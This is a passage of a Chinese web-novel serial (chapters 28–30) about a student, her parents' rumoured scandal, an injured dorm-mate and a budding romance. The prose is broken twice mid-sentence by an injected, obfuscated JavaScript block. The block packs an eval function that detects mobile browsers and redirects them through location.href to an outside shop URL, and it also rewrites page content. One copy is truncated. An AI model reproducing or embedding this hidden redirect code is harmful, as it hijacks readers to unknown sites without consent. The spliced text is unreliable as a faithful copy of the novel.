但其实好多年她一直都想问,他们的爱情真的有他们向外界描述的那般动人吗?若真有,那他们离婚的那十年又算什么? 算他们彼此都没有找到更好的才终于又把目光投到了旧人身上吗? 成年人的爱情是流动的,只有小孩子的期待永远留在了梦里。 所有人都声称很爱她,却没有人关注她的生活从回北京开始陷入了怎样的混乱和失序。 爸爸到哪都永远带着漂亮的女秘书,妈妈身边的男人不停来了又走,有因为名字发音跟她争得面红耳赤的,有给她的小兔子办葬礼最后自己也死了的。 舅舅每次都毫不避讳:“怎么着,方协文生出儿子来没有呢?” 奶奶骂爸爸:“你们都离婚了,孩子抚养权又没在你手里,为什么有事还找你?你和小雨怎么样了,我到底什么时候才能抱上孙子?” 所有人似乎都忘了,她也姓方。 想起旧事的小初有些失落,突然对爱情两个字产生了怀疑。 “你好,我能坐里面吗?”有人碰了碰她的肩膀。 她下意识回过头去,却发现在站在她旁边的不是别人,正是刚刚被她抛弃在站台的余萧弋。 “你怎么上来的?”小初摘掉一只耳机,眼神里都是惊异,“你会飞吗?” 余萧弋在她身边坐下:“不是会飞,是会瞬移的魔法。” 小初嘁了一声。 他笑。 小初又问:“你不是要去上班吗?” 余萧弋说:“反正一时也赚不到一个月两千万,还不如享受现在先。” “恐怕没那么容易享受,我可是身上刺很长的刺猬。” “不怕,我是海绵,刺了也不会疼。” 小初万没想到他会这么说,怔怔和他对视了一会儿,眼底不自觉有点湿,而后她又有些不好意思,将目光投向了窗外。 却半点景色都没入心,脑子里一直重复着他刚刚的话。 又过了一个路口。 余萧弋才凑到她耳边轻轻解释道:“不是会飞,也没有魔法,我是跟在你后面上的车。” 小初无语瞪他一眼。 这些还要他说吗? “其实,我主要是想提醒方小姐你一下。”余萧弋慢条斯理的。 小初哪还有耐心听他卖关子,直接问道:“到底什么?” “你坐反方向了,学校在另一边。这就是你说的识路?” “……” 两人在下一站下了车。 余萧弋把小初塞进计程车,叮嘱着:“到宿舍记得和我讲一声,等我下班后接你去吃晚饭。” 小初丢脸丢到不想说话,全程用左手遮着眼,只用右手做了个拜拜的动作。以至于车子开出去了很远,她才注意到外套口袋里不知什么时候被他放进来的首饰盒。 里面装着月亮耳饰的那个被她退回去过一次的首饰盒。 她拍了张图片发给他:「怎么……又给我了?」 他回:「不给你哪行,这个本来就是我奶奶之前给我,要我送给将来喜欢的女孩子的。耳饰是她十六岁时收到生日礼物之一,算是有些来历的,寓意很好,你留着吧。」 小初抿抿唇:「这好像……不太好,太贵重了。」 「哪里不好,再说,上面不是已经有你太平洋的眼泪了吗?」 「……」 小初回到宿舍的时候,林佳宜正在公共厨房煮担仔面。 而且还煮了好大一锅,见她回来立刻招呼道:“太初,你回来啦!有没有好一点?” 小初凑过去,笑着帮她别了别头发:“托福,好多了。” “刚好你回来,无论如何帮我吃一半,我煮太多了。” 小初说:“不是我不肯帮忙,实在是我刚吃过没多久。”转身看了看又说:“吃不完先放冰箱呗,下顿再吃了好了。” 林佳宜努了努嘴,“你没看冰箱上面的便签写的什么?” “什么?”小初往前凑了凑,才看见上面的字,下一秒,她的瞳孔就剧烈地收缩了一下。 「ONLY FOR LOACL」,上面用红笔写着。 小初实在没忍住,骂了句脏话。 林佳宜拍了拍她的肩膀:“算了。这个楼层本来non local就没几个,而且也就只有我煮饭多一点,所以影响不大。” 小初突然想起来朱慧雯来,问道:“你这两天看见Wendy了吗?” 林佳宜将面条盛进碗里,戴上隔热手套,“你这么一说我好像还真有两天没看见她了,那天送完你去医院她就没跟我一块回来。”而后又仔细想了想,“不过,我今天早晨好像在卫生间碰见她了。” 小初蹙了蹙眉,“她也送我去医院了?” 林佳宜点头:“对啊,真没想到她还挺义气。”说完她又眨了眨眼:“不过,主要还是你男朋友把你一路抱过去的,你都不知道你那天烧得有多吓人,吃退烧药体温也降不下来,还一直胡言乱语,说的东西我们又听不懂。最后还是Wendy听见了你男朋友的名字,解锁你手机给他打的电话。” 小初脸上的火忽地燎原,“我……还真喊他名字了?” 不可能,绝不可能。 “要不是Wendy,我还真不知道那是你男朋友的名字,话讲回来,你男朋友真的蛮帅的哎,帅,又帅得很温文尔雅,跟你说的什么渣男一点不搭边。 小初:“……” 林佳宜端着面条和小初一起回到宿舍,突然又想到什么:“干脆,我去敲门看看Wendy在不在,在的话要不要尝尝我的担仔面,我煮得应该还是很正宗的,不会比你们去台北夜市吃的差很多。” “我去吧。”小初抿了抿唇。 要是这么说,她应该当面谢谢她才对的。 “好。” 小初移步到Wendy门口,敲门。 她知道的,她室友大多时候都不住在宿舍内,里面若是有人,也只有一种可能,那就是她。 敲门之前她还特地在门口听了听,里面确实有动静无疑。 敲了半天,没人应。 小初蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309774|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了蹙眉。 林佳宜把另一碗面也端了过来,“人不在吗?” 小初摇了摇头,继续敲。 “Wendy,是我,方太初,你在吗?” 林佳宜也说:“你吃饭了吗?要不要一块吃面?” 又过了几秒。 就在小初和林佳宜都准备放弃的时候,门却突然从里面开了。 然后Wendy的半张脸就从门缝露了出来,而且很不耐烦:“两位小姐,你们要不要有点边界感,不知道人家在睡觉吗?” 林佳宜抿抿唇。 小初却说:“睡觉也该起来吃饭了,都一点多了,你不饿啊。” Wendy瓮声瓮气,“不吃,我减肥。” 小初立刻嗅到了异样的味道,视线顺着门缝稍稍一瞥,就看见了Wendy高高肿起的另外半张脸来,一只眼睛干脆只剩下了一条缝。 “天呐。”林佳宜也瞪大了眼。 “真够烦的。”Wendy虽这么说着,却还是将门打开了一点,下一秒,小初和林佳宜就被一股惊人的力量扯进了房间内。 身后的门咣的一声被合上了。 一切都在电光火石之间。 “你这什么情况!”小初吓一跳,忍不住上前掀了掀她的头发:“被人打了?谁干的?报警了吗?你去过医院了吗?” Wendy不吭声。 林佳宜将面放在桌上,“不想说就吃饭先,你是不是因为这个一直没出门?多久没吃饭了?” 小初也说,“对,先吃饭。” Wendy流下泪来。 小初没好气的,“鳄鱼就别流眼泪了,省省力气咬人才对。” Wendy哭得窝窝囊囊的:“方太初你真讨厌。” “吃饭。”小初把筷子塞到她手里。 接下来的十几分钟,三个人都没说话,就那么静静等着Wendy吃完了大半碗面,她的情绪一开始还有些激动,眼泪不停不停掉在面碗里,后来也平复了许多,等面快吃完,只剩下眼睛有点红了。 小初扯了张纸巾,帮她擦了擦嘴角,难得的温柔:“说说吧,到底怎么了?” “还说什么,就是被人打了呗。”Wendy小声说。 “谁?” “就那天和我一块饮早茶的……” 她话还没说完,小初就已经跳了起来,“他一个大男人还打女人?报警,赶紧报警。” “不是他,是他女儿。” 小初不知为什么心头一刺,语气是她自己都没意识到的颤抖,“她女儿,她女儿为什么打你?你跟他是不正当关系?男的还没离婚?” “没有,他都离了几年了……我再怎么没底线也不会那么没品,我一早说过不碰已婚男人的。”Wendy急急解释。 “那是为什么?” “他女儿觉得,他应该和她妈妈复合。” 小初沉默。 心情骤然有些烦躁。 林佳宜心疼地看了看她的伤势,“这用什么打的,这么严重?” “棒球棒。” “天呐。” 小初也皱了皱眉,“他们给你个什么说法了吗?” Wendy自嘲笑笑,“男的开了张支票给我,就算了。” “有钱了不起吗?简直没把法律放在眼里,打这么狠,真出了什么事,一张支票算什么?”小初恨铁不成钢,脑子里不断闪过肖小雨那张脸,四肢百骸针刺一般,却又没办法对Wendy的可怜视而不见,“之前都跟你说了,不要惹老男人,他们那么精明,你怎么玩得过?真出了事,他不会拿你当人的,都是拿钱打发。” Wendy抬眸看她一眼:“小姐,你不食人间烟火的吗?”眼泪再次决堤,“我不揾钱,学费哪里来,将来留学的费用哪里来?你知道全家五六口人挤一个小房子,老爸好赌,快三十岁的大哥结不上婚,青春期的弟弟睡觉翻不开身,全家都靠妈妈一个人开工来养是一种什么生活吗?” 小初愣住。 林佳宜别过头去抹了抹眼泪,再转过来,神情已平静,“不说那么多,先去医院。” Wendy说:“我这个样子,被学弟学妹看见也不用活了。” 小初忽地站起身来:“你管他们干嘛?他们给你钱花吗?走,我有个很大的墨镜,你换件衣服,再戴上棒球帽,现在就去医院。” “咱们学校医院也都是熟人……”Wendy小声说。 “死要面子活受罪,好啦,我们去一家远点的医院。”小初没好气瞪了她一眼。 等忙完Wendy的事,又将她带回宿舍安顿好,已经接近傍晚。 余萧弋发消息过来说他已经下班了,问她想吃什么。 小初有些脆弱。 回他:「都可以。」 又补了一条:「只要和你,都可以。」 余萧弋很是受宠若惊,「别这样,同事说我笑得像神经病。」 小初也笑。 在楼下等他的功夫,她点开搜索引擎,鬼使神差输入了下亦方科技。 下一秒,方协文挟肖小雨出现在意大利的新闻就跳了出来。 在那些被偷拍的画面里,肖小雨棒球帽配框镜,状态很松弛。 当然,她眼尖,还是认出了她爸身边除了肖小雨以外好几个其他员工的。 只是拍摄者似乎就只追着他们俩拍。 新闻标题起得也很吸引眼球:《方协文肖小雨同框,网传两人还有个五岁的儿子》。 29. 第 29 章 肖小雨那个五岁的儿子,方太初见过,还不止一次。 每次学校放寒暑假的时候,肖小雨都会把他带到亦方来。她工作,他就安安静静坐在一边看平板,画画或是玩乐高,从来不会乱跑乱动,嘴甜还有礼貌。 小初之前去办公室找他爸的时候甚至还帮忙带过他半天。 不带任何偏见地说,那孩子是真的讨人喜欢,不单是教养的问题,主要他长得也好看,比他爸妈还要出众,亦方的员工走来走去都喜欢捏捏他的脸。 就连方协文,小初看得很清楚,明明从会议室里出来时眉头还是紧锁的,一见到他,烦恼瞬间消失,“乐羽飞,你又陪妈妈来上班了啊?来过来给伯伯抱抱。” 小朋友箭一样扑到他怀里。 方协文抱起他,转向秘书:“我记得前两天谁送来的进口巧克力挺不错的来着,找出来给飞飞带走。” 小初在一旁语气酸酸的:“爸,我小时候你有没有这么喜欢我啊。” 方协文大笑:“想你小时候干嘛,你要不现在过来,爸爸也能抱动你。” 小初立刻嫌弃地跳到一边去:“不用了方总,谢谢。” 方协文问肖小雨:“你觉不觉得飞飞很像小时候的小初?” 肖小雨向来滴水不漏,只是笑笑:“小初不比他好看多了。” 方协文被哄得春风满面,抱着飞飞拿巧克力和棒棒糖去了。 小初当时就觉得那个画面很刺眼,现在想想,人果然还是要相信一点自己的第六感的。 她后来也不经意和黄亦玫提过这个事,倒也没敢说别的,只说肖小雨天天带着孩子上班,亦方人事部就一点意见没有吗?多耽误工作啊。 黄亦玫听了不仅没往深了想,反而还把她委婉教育了一通。 说职场女性要平衡事业和家庭本来就不容易,不止亦方,全社会都应该给与支持才对,她作为亦方将来的接班人,又同为女性,怎么还会问出这种话来呢。 又说她小时候小雨阿姨可没少牺牲工作时间带她,现在轮到人家需要帮忙了,她倒事不关己了?人还是要懂得感恩的。 道理小初当然都明白,但她心里仍旧不太舒服,赌气道:“方总又不是没付她钱。” 话音一落,黄亦玫的表情就严肃了下来。 她意识到不妙,不敢再大放厥词,赶紧找了个理由溜了。 她妈妈永远那么温柔与包容,简直圣女一样散发着光辉,她才不要做圣女,如果真有那么一天,说不定她也会拿起棒球棍…… 棒球棍? 小初忽地一激灵。 不敢相信刚刚那个被恶意包裹的人是她,朱慧雯惨不忍睹的脸出现在眼前,她脑子里轰地一声,浑身的汗毛都竖了起来。 她方太初,竟然因为一条未经证实的网络谣言失去了理智和判断! 退一万步讲,就算这件事是真的,始作俑者难道不应该是那个负不了责却又到处留情的男人吗?她怎么能全凭主观把一切都归咎到女人身上? 若他爸是这种人,那以他今天的财富和地位,又岂止会有一个肖小雨和乐羽飞?若他不是这种人…… 小初想了想,二十岁的她还不敢说自己有多读得懂男人。不过她选择相信黄亦玫,相信她的判断和眼光。 余萧弋很快出现在宿舍楼下,还有很远,他就喊她的名字:“方太初!” 小初锁上手机屏幕,深吸了一口气。 他们隔着几级台阶相望。 暮色已在这个城市降临,街灯温柔,他应该是跑着过来的,头发被风吹得凌乱,头顶有一簇甚至是竖起来的,像是哆啦A梦的小天线,小初被逗笑,大步走向他。 “嗨。”他像每次那样跟她打招呼,毫无新意。 小初也学他:“嗨。” 他问:“想吃什么?”还没等她答,他又说:“别说都好啊。” 小初又笑。 她感觉自己正在极速迷失在这种舒适的亲密关系中,他让她平静下来。 “那不然就吃韩餐怎么样,离地铁站不远就有一家,我从第一天来这边就想去吃的,一直没找到机会。” 她决定再向他暴露一点自己的隐私。 “好啊。”他说了句粤语。 小初想了想又问他:“你吃韩餐吗?” 余萧弋有些好笑:“小姐,我也是食人间烟火的,好吗?都是人类吃的东西我为什么不能吃?不然你以为我每天都吃什么?等不来米其林大厨做的大餐,就有气节地饿死吗?” 小初揶揄,“别的不知道,只记得你爱吃方便面。” 余萧弋睨她:“说起这个,记得某人说过有机会一定给我复刻一碗的,也不知什么时候兑现承诺?” 小初眼尾一跳,这话怎么听着危险重重的,想要复刻那碗餐蛋面,起码要有个厨房吧,至于哪里有厨房…… 她不接茬,只当听不懂,“那今天这顿韩餐就算选对了,韩国人连霸总的深夜食堂都是一碗泡面,肯定能让你吃到黯然销魂、热泪盈眶,吃完它,你的人生就圆满了。” 余萧弋快被她笑死,“方小姐,你怎么敢说自己是刺猬,刺猬的嘴里可没有刺!” 小初将双手插进裙子侧边的口袋里,眨眨眼:“其实我是大白鲨。” 两人轻快走下台阶。 余萧弋忍不住侧过头去看她。今晚的她依旧衣着朴素,一字领的奶白色小T恤配深蓝色休闲裙,长长的头发随便结成辫子垂在胸前,鼻梁上甚至还架着框镜,看着不像是来和恋人约会的,倒像是简单吃口饭就要回去备战什么大型考试的,文气极了。 余萧弋问:“你近视吗?” 小初这才恍然自己还戴着眼镜,“不近视,我这个是防蓝光的,刚出门前看了会儿电脑。” “哦。”余萧弋笑笑,“你戴还挺好看的,看着特高智。” 小初看了他一眼,压下眸底的深色,她也不知道他这句话是夸她还是说她像书呆子,索性什么都没答。 两人一前一后步入店内,餐馆老板是韩国来的,一看见他们就用韩语招呼道,“晚上好,欢迎光临。” 小初微微颔首,本能用韩语回过去:“晚上好。” 余萧弋讶异:“你还会韩语呢?” 小初带着他找了张靠窗的小桌子坐了下来。店内装修还算干净,但即便如此也改变不了它就是个人均消费超不过两百港币的街边小店,和余萧弋身上矜贵的气质极为不符,他们一进店,就有好多道打量的目光投了过来。 “会一点,不多。”小初翻开菜单,淡笑道:“其实我是朝鲜族来着。” 余萧弋没太理解,“朝鲜族,和韩国的关系是?” 小初愣了愣,第一次意识到地域认知差异有多大,她不知道怎么说,干脆让他自己网上去看百科。 又问他:“我随便点还是?” 余萧弋拿出手机,开玩笑道,“你帮我点,点个销魂的。”说完就把目光专注到手机屏幕上去了,他生在南方长在南方,对内陆很多人文上的认知确实欠缺,急需时间好好补充一下。 小初眼底滑过一丝狡黠,朝老板招了招手,也没客气,用韩语点了餐,并且第一个点的就是魔王辣猪手,然后才是其他的常规韩菜,大酱汤,芝士鸡蛋卷什么的,因为两个人都不是太能吃的人,她也就没点太多。 想了想,她又跑到吧台要了瓶烧酒过来,等余萧弋将目光转到她身上来的时候,两人面前的玻璃酒杯已经被她倒满了。 “要不要喝一口?”小初笑。 余萧弋伸手挡住她的杯子,眼底都是怀疑,“你确定你要喝吗?医生可是要你好好保养的。” 小初今天心情不好,又不想跟他解释她为什么心情不好,她很少在外面放纵自己,可如果陪在她身边的人是他,她想她大概放下一点心防,不用去想那么多。 主要是,这个酒的度数不高,她十分确定她不会醉,除了让自己开心一点之外,不会有任何危险发生。 是的,即便身边的人是他,她也不敢对他完全的信任,她要永远保证自己才是那个清醒到最后的人。 她举起杯子,弯了弯眼角:“没关系的,这个酒度数很低,喝两杯没什么大事。” “不行。”余萧弋坚持,“你体内的药恐怕还没完全代谢出去,绝对不能碰酒精。” 小初垂下嘴角,“Theo余,你真扫兴。”又说:“那现在怎么办。” 余萧弋无奈叹了口气,从她手中接过酒杯:“我来喝。” “你……行吗?” “不太行。”余萧弋摇摇头,“因为之前从来没喝过这种酒。” 他那个认真的样子成功让小初笑出声来,没多想就回了他一句:“哎,你没听人家说,男人是不能说自己不行的吗?” 余萧弋抬眸,将她锁在他的目光里动弹不得,不动声色探究着她的内心:“人家是谁?” 小初感受到了他眼神里无形的侵略感,只能别开视线,还好他们点的菜刚好在这会儿被送了过来,小初轻呼口气,不经意转移了话题,“你尝尝他们这个韩式猪手比你们港味的怎么样,够不够靓。” 余萧弋垂眸看了眼盘子里红彤彤的一盘,还没开始吃,额头上的汗就快下来了,他向来很少食辣的东西,这东西恐怕会要了他的命。 “靓倒是靓……”他为难看了小初一眼,“不然我还是喝酒吧。” 一仰头,小小的玻璃杯就见了底。 小初难以置信看了他一眼:“不用喝这么快的,度数低也是会醉的好吗?”又问他:“怎么样,好喝吗?” 余萧弋皱着眉,身体和语言都很诚实:“不太好喝。” 小初大笑。 心口的阴霾不觉中消散了许多。 “傻瓜,蒸馏酒当然难喝了。”小初压低声音,防止餐馆老板听见:“所以说,这帮韩国人也没喝过什么好东西。” 余萧弋这才想起来刚刚在手机上学到的知识来:“所以你们朝鲜族和南韩北韩算一个民族?” 小初点头:“同源异流,中国的朝鲜族长期和汉族满族杂居融合,已经本土化了。” “所以你算少数民族?” “对啊。”小初夹了块魔王猪手给自己,有些惋惜,“今晚就这道菜最销魂,你不吃就错过了哦。” 余萧弋摆摆手:“我吃完就要变成香肠嘴,电影里梁朝伟那个样子,知道吧?” 小初又笑:“梁朝伟即使那样也还是帅的,你也是,眼睛好看的人不必太在意其他部分的瑕疵。” 余萧弋又喝了半杯酒,脸逐渐泛红,“你别哄我。” 两人的话逐渐多了起来。 小初越说越高兴,最后竟真把她爸那件事暂时放到脑后去了。黄亦玫说得没错,人果然是需要朋友的,即便她没办法和他倾诉她真正的苦恼,只是这样随便聊聊天,似乎也是解压的。 不知不觉,余萧弋已经喝了快一瓶下去。 菜也被两人吃了个七七八八。 小初说:“真没想到你对韩餐接受度这么高,忘了跟你说我奶奶在延吉开了家贩卖民族风情的民宿,坑的都是你这样的人,回头有机会带你去体验体验。” 余萧弋差点被嘴里的酒呛到:“你听听你说的什么话,好好的生意被你形容的好像打着某种幌子的黑店。” 小初忍俊不禁,“我说真的呢,我奶奶年轻时候开的是麻将馆,在老家那一片是出了名的脾气暴躁,嘴不饶人,现在好,老了老了,头发一白,皱纹一多,倒成了网友眼里的慈祥奶奶了,好多人慕名去她的民宿打卡,还争相和她合照什么的,生意比开麻将馆的时候好多了。” 余萧弋神色古怪地看了她一眼:“所以,你像她?” 小初气得捡起一片生菜叶子就朝他扔了过去:“你会讲话吗?我多温柔?” 余萧弋接住那片生菜叶子,不说话,只是笑。 小初不理他,点开微信,把刚吃饭前拍的照片发到了只属于他们三个人的小家庭群里,并@方协文,附言:「爸,今天有点想你和妈妈,就来吃这个了。」

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309775|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男朋友有什么重要,群里那个男人才是保她这辈子,下辈子,下下辈子都衣食无忧的大佬好吗?她得保证他就算还有十个乐羽飞都只会把继承权给她一个人。 没过半分钟方协文就回了过来:「你一个人吃这么多吗?」 小初:「……这是重点吗?」 黄亦玫发了个大笑的表情过来:「好吃吗?下个星期记得带妈妈尝尝。」 小初问:「黄女士,你老公还在欧洲出差吗?」 下一秒,方协文就发了张他们的合影过来,语气傲娇,「此刻。」 照片中的两人神情微醺,身后一整面落地玻璃窗都是璀璨的北京夜景,也不知是去了哪家他们没带她一块去过的高级餐厅。 小初撇撇嘴,继续@方协文,「时间管理大师。」 说完也不管他听没听得懂,直接退出页面,梁培风的信息刚好在这一秒跳了出来。 余萧弋见她半天只看着手机笑,不禁有些黯然,问她:「跟谁聊天呢,这么开心。」 “梁培风。”小初把聊天页面在他面前一晃,“哦,就是那天和我们一起听Lecture课的北京男生。” 余萧弋的目光渐冷,“和他聊天这么开心吗?” 小初低头回着梁培风,也没注意去看他的表情:“没,他问我有没有数学系的同学介绍给他和他组队参加十一月份的数学建模大赛。” “然后呢?” 小初收起手机:“没有然后啊,我推荐了我自己。” “你自己?”余萧弋又给自己倒了杯酒。 “对啊,在下不才,刚好是前几届的CMO国家集训队成员之一。”小初按住他的杯子:“别喝了,这玩意喝多了上头又烧心,我怕你后半夜难受没人照顾。” “你一定要和他组队吗?” 小初不太明白这件事跟他有什么关系,疑惑看了他一眼:“你是不是喝多了?” 转而招呼老板:“你好,买单。” 老板递过小票,满脸微笑:“麻烦,一共是两百九十八块。” “好的。” 余萧弋仍在怔愣。 直至小初喊他:“Theo余,买单好吗?” 怎样,他还真想每次吃饭都她花钱啊。 两人收拾好东西走出店外,小初还在琢磨梁培风说的数学建模大赛的事。 其实她参赛倒没有别的想法,她主要想看看梁培风这个人,或者说他的业务能力到底怎么样,如果合适,如果他愿意,倒是可以考虑拉到亦方来。 不知不觉,两人又走到了她们宿舍楼下。 小初向上看了看那个大坡,决定体贴一下喝多了酒的男朋友:“要不你就送到这吧,不用陪我上去了。” 余萧弋没说话,只静静看着她。 “你怎么了?”小初不明所以,“真喝醉了?” 下一秒,他微晃的身形和不小心扶在她腰间的手就给了她回答。世界突然陷入黑暗,小初反应了一会儿,才意识到她已随着他隐入了树影里,而她背后粗糙的触感正是小叶榕崎岖的枝干。 “……” 他是不是在跟她装疯? “嗯,我醉了。” 黑暗中两人的身体重量几乎叠加在了一起,小初预想中的痛感却并没有从背后传来,她仔细感受了一下,才发现原来是他的手挡在了她和树之间。 他的掌心很热,但她已经顾不上那么多,因为……他侵略感在不觉间已经渲染到了极致,她前后都已无退路,只能任他予取予求了。 她闭上了眼,可等了半晌,也不见他有什么别的行动,不禁又试探着睁开。 黑暗中她看不见他的眼睛,只能感受到他带着微醺酒气的炽热鼻息,每一下都喷薄在她最敏感的地方,让她忍不住颤栗。 “方太初。”他突然开口。 “怎样?”小初虚张声势地用膝盖顶了顶他的腿。 换来的却是他更进一步死死的压制。 “你上头了吗?” 小初小声说:“我又没喝酒。” 他又问,声音里似有无限痛苦,“你一直这么清醒吗?之前喜欢叶子瑜的时候也这样吗?” “什么东西?” 黑暗中都是两个人的喘息声。 “为什么你总是一副对爱情毫无期待的样子?” “啊?”小初自省了一下,“没,没有吧。我说了我只是很慢热。” “那,你想不想试试。” 小初紧张得忘记了呼吸,“试,试什么?” “深吻。” “不要了吧。” 余萧弋的声音越来越低,每个字都带着化不开的蛊惑,“为什么?” “因为,我吃了魔王猪手,你会变成梁朝伟的香肠嘴。” 余萧弋做梦都没想到她会在这个时候说这句话,气氛顿时一整个被破坏掉。 他想起香肠嘴的梁朝伟问乞丐版的张学友:“性不性感?” 张学友说:“不是性感,是好笑。” 小初又说:“你知道我之前和我朋友出去玩每次留的是什么假名吗?” 余萧弋没跟上她的脑回路:“什么?” “Titan。” 余萧弋想了想:“土卫六的英文名?土星最大的卫星,大气成分主要是氮气和甲烷,星球表流动着的是液态甲烷海,对吗?” 小初有些意外:“你知道的还挺多。” “所以你的意思是你……不适合碳基生物生存?” 小初轻笑摇了摇头:“我的意思是,你最好不要试图点燃我,不然后果你承受不了。” 趁他怔愣之际,她已从他怀里溜走,并两三步跳到了主路上。 余萧弋回过头去,街灯下的她灵动得的似一只翩然的蝴蝶,根本让人移不开眼。 “晚安,男朋友。”小初用力挥手。 “上头的话,晚上空调记得开低一点,冷静冷静。” 余萧弋眯了眯眸子。 最后还是笑了。 30. 第 30 章 点燃我——是需要条件的,太少量的氧气,还不足以支撑那种级别的化学反应。 而后我会爆炸,会熊熊燃烧,会闪耀整个太阳系,会一直爱你,直至我焚烧殆尽,与你逐渐融合,进入另一种稳定状态。 这些话小初没有跟余萧弋说。 她承认他说得对,她一直是个理性且清醒的人。因为她不想重蹈她父母覆辙,要很多次判断失误才能准确知道自己要什么。 她需要这份理性做外壳保护她的心脏始终柔软,才能让她眼中的世界每一天都是美好而值得期待的。 这是她的处世法则。 她不颓丧也不消极,更不排斥和谁进入亲密关系,她只是觉得她和余萧弋相识时间太短了,短到两个人对对方基本还一无所知。 没准,他在她面前的绅士,高智,内敛都是假象呢,实际和狐朋狗友混迹在一起会贬低女性,不尊重人尤其是底层人,缺乏同理心,滥情又爱玩,没有维持长期关系的能力呢? 选男人又不是选老板,还是他的底色比较重要,钱,资源和他的个人能力对两性关系的加成其实不大。 主要是,他有的这些东西她自己都有。 若她是朱慧雯,她当然可以遵循另一套法则,她没有资格评判别人。 想到这,小初喝了一口咖啡,在Whats App找到Wendy的头像给她发了条消息过去:「我在外面吃饭,要帮你带午餐吗?」 那天从医院回来,Wendy就一直在宿舍休息没出门,期间她的一日三餐都是她和林佳宜负责,好在四五天过去,她脸上的伤已基本消肿,现在出门只要稍微敷点粉遮一遮青黑就好,总算不耽误她去上课。 作为学生,无论怎样,学习肯定还是第一位的。小初听说,Wendy的成绩还是很优异的,所有科目都A+ Level,林佳宜之前说得没错,“还真看她不出”。 Wendy很快回了过来:「我已经在图书馆学习了,要不要过来一起?」 小初回:「抱歉,男朋友有约。」 Wendy回了个无语的表情。 小初一开始还笑着,可笑着笑着就垂下了嘴角,好惊悚,她怎么和死对头成了朋友了? 那以后她还怎么怼她啊。 她这几天也很忙,除了上课还要和梁培风一起为两个月之后的数学建模大赛做准备,根本没有多余的时间谈恋爱,今天余萧弋打电话给她,说她要是再不见他的面,他就要幽怨到午夜时分飘起来了。 小初回他:“那你记得先在身上绑根绳子再飘。” 他沉默半晌,丢下一句,“方太初你给我等着啊。”就挂了电话。 为此,小初特地挑了个人很多的西餐厅等他,她就不信,在众目睽睽之下他还敢拿她怎么着。 手里咖啡还没喝一半,余萧弋就上了楼,而且一看又是跑着过来的,头发凌乱中还带着某种张力。 小初抬起头,看了眼他怀里抱着的纸箱,有点疑惑:“这里面是什么?” 余萧弋风一样把纸箱放在桌面上,自然而然抓起她的杯子,几口就把剩下的半杯咖啡喝得见了底,朝她挑挑眉,“你猜猜?” 小初强迫自己把视线从他咬着她吸管的画面上移开,认真想了想,猜到:“不会是绳子吧?” 她的语气太平静,余萧弋一开始甚至以为自己听错了,待反应过来后,整个人都像被灼烧了一样,连自己本来要说什么都忘了。 旁边一桌的两个年轻女孩将他们的对话听了个正着,对视一眼后马上疯狂在桌子下给对方发信息。 “他们两个说的,不会是我想的那种吧?” “相信我,就是!” “依你看,这东西,是用在两位谁身上的?” “干嘛这么狭隘,就不能互相吗?” “有道理啊!” “这么好看的两个人,尺度这么大?” “好刺激,我喜欢。” 两人大笑。 小初不太理解地看了旁边奇怪的两个女孩一眼,转向余萧弋:“快别卖关子了,到底是什么嘛。” 余萧弋轻咳一声,这才不着声色地打开了纸箱,展示给小初:“这是这几年MCM/ICM的真题,我简单看了下,赛题涉及范围广泛还是挺广的,经济,环境,安全,生态,医学什么的都有。” 两个女孩瞬时露出失望的神色来。 她们脑子里小电影都播了半天了,他们就给她们来了个这? 小初实在没想到他会这么用心,眼底泛起感动,“谢谢你啊Theo余。” 这些资料其实这两天她和梁培风已经陆续找了一些了,只是没有余萧弋帮忙准备的这么齐全。 数学建模大赛本来考察的就是选手解决实际问题的能力,至于数理知识、计算机编程和英文,顶多算是工具,小组成员的知识储备肯定是要很充足才行的。 余萧弋浅笑,显然并不怎么太高兴,“如果这都要谢,那你以后要谢的还有很多。” 小初说:“我请你吃饭吧。” 他睨她,“你以后该不会都用请吃饭来表达一切吧?” “两个人在一起本来就是要吃很多很多次饭啊。”小初笑,并在桌子底下主动勾了勾他的手指。 余萧弋的嘴角立刻不自觉翘了翘,又不经意问她:“你们找到适合写论文的队员了吗?” 小初答:“梁培风还在找,他之前的搭档今年毕业了,这个比赛按理说应该是八九月份的事,今年情况特殊,才推迟了两个多月。” 他们都再清楚不过,MCM/ICM想要获得好成绩,写论文的这个人的水平是重中之重,他首先英文要很好,其次思辨能力和逻辑思维也要强,最重要他还要懂模型设计和推导过程,这样才能清晰有理地阐述他们想要表达的观点,以及解决方案的过程和结论。 余萧弋轻笑:“所以这梁培风到现在等于是除了一个你,其他还什么都没做好准备?你要这么跟我说,我可以合理怀疑他醉翁之意不在酒吗?” 小初咬咬唇:“就算不合理,你也可以怀疑。” 余萧弋被她气笑。 两人没在这个问题上继续纠缠,而是先点了餐,吃了饭。 这家餐厅的牛排很不错,两人都吃得很满足。 这次还没等小初掏钱包,余萧弋就先行结了账,根本没给她表达谢意的机会。 小初说:“你干嘛,说好了我请。” 余萧弋单手抱起纸箱,另一只手将她牵进掌心,又微微收紧。 “不说这个,你能陪我外面走走吗?我有点事情想跟你说。” 小初挑了挑眉,“刚好,我也有事情跟你说。” “是吗?”余萧弋有些意外,“好啊。” 他们回教学中心把资料锁在储物柜里,就漫步到地铁口搭升降机上了山。下午两人都没什么课,刚好有点时间可以浪费。 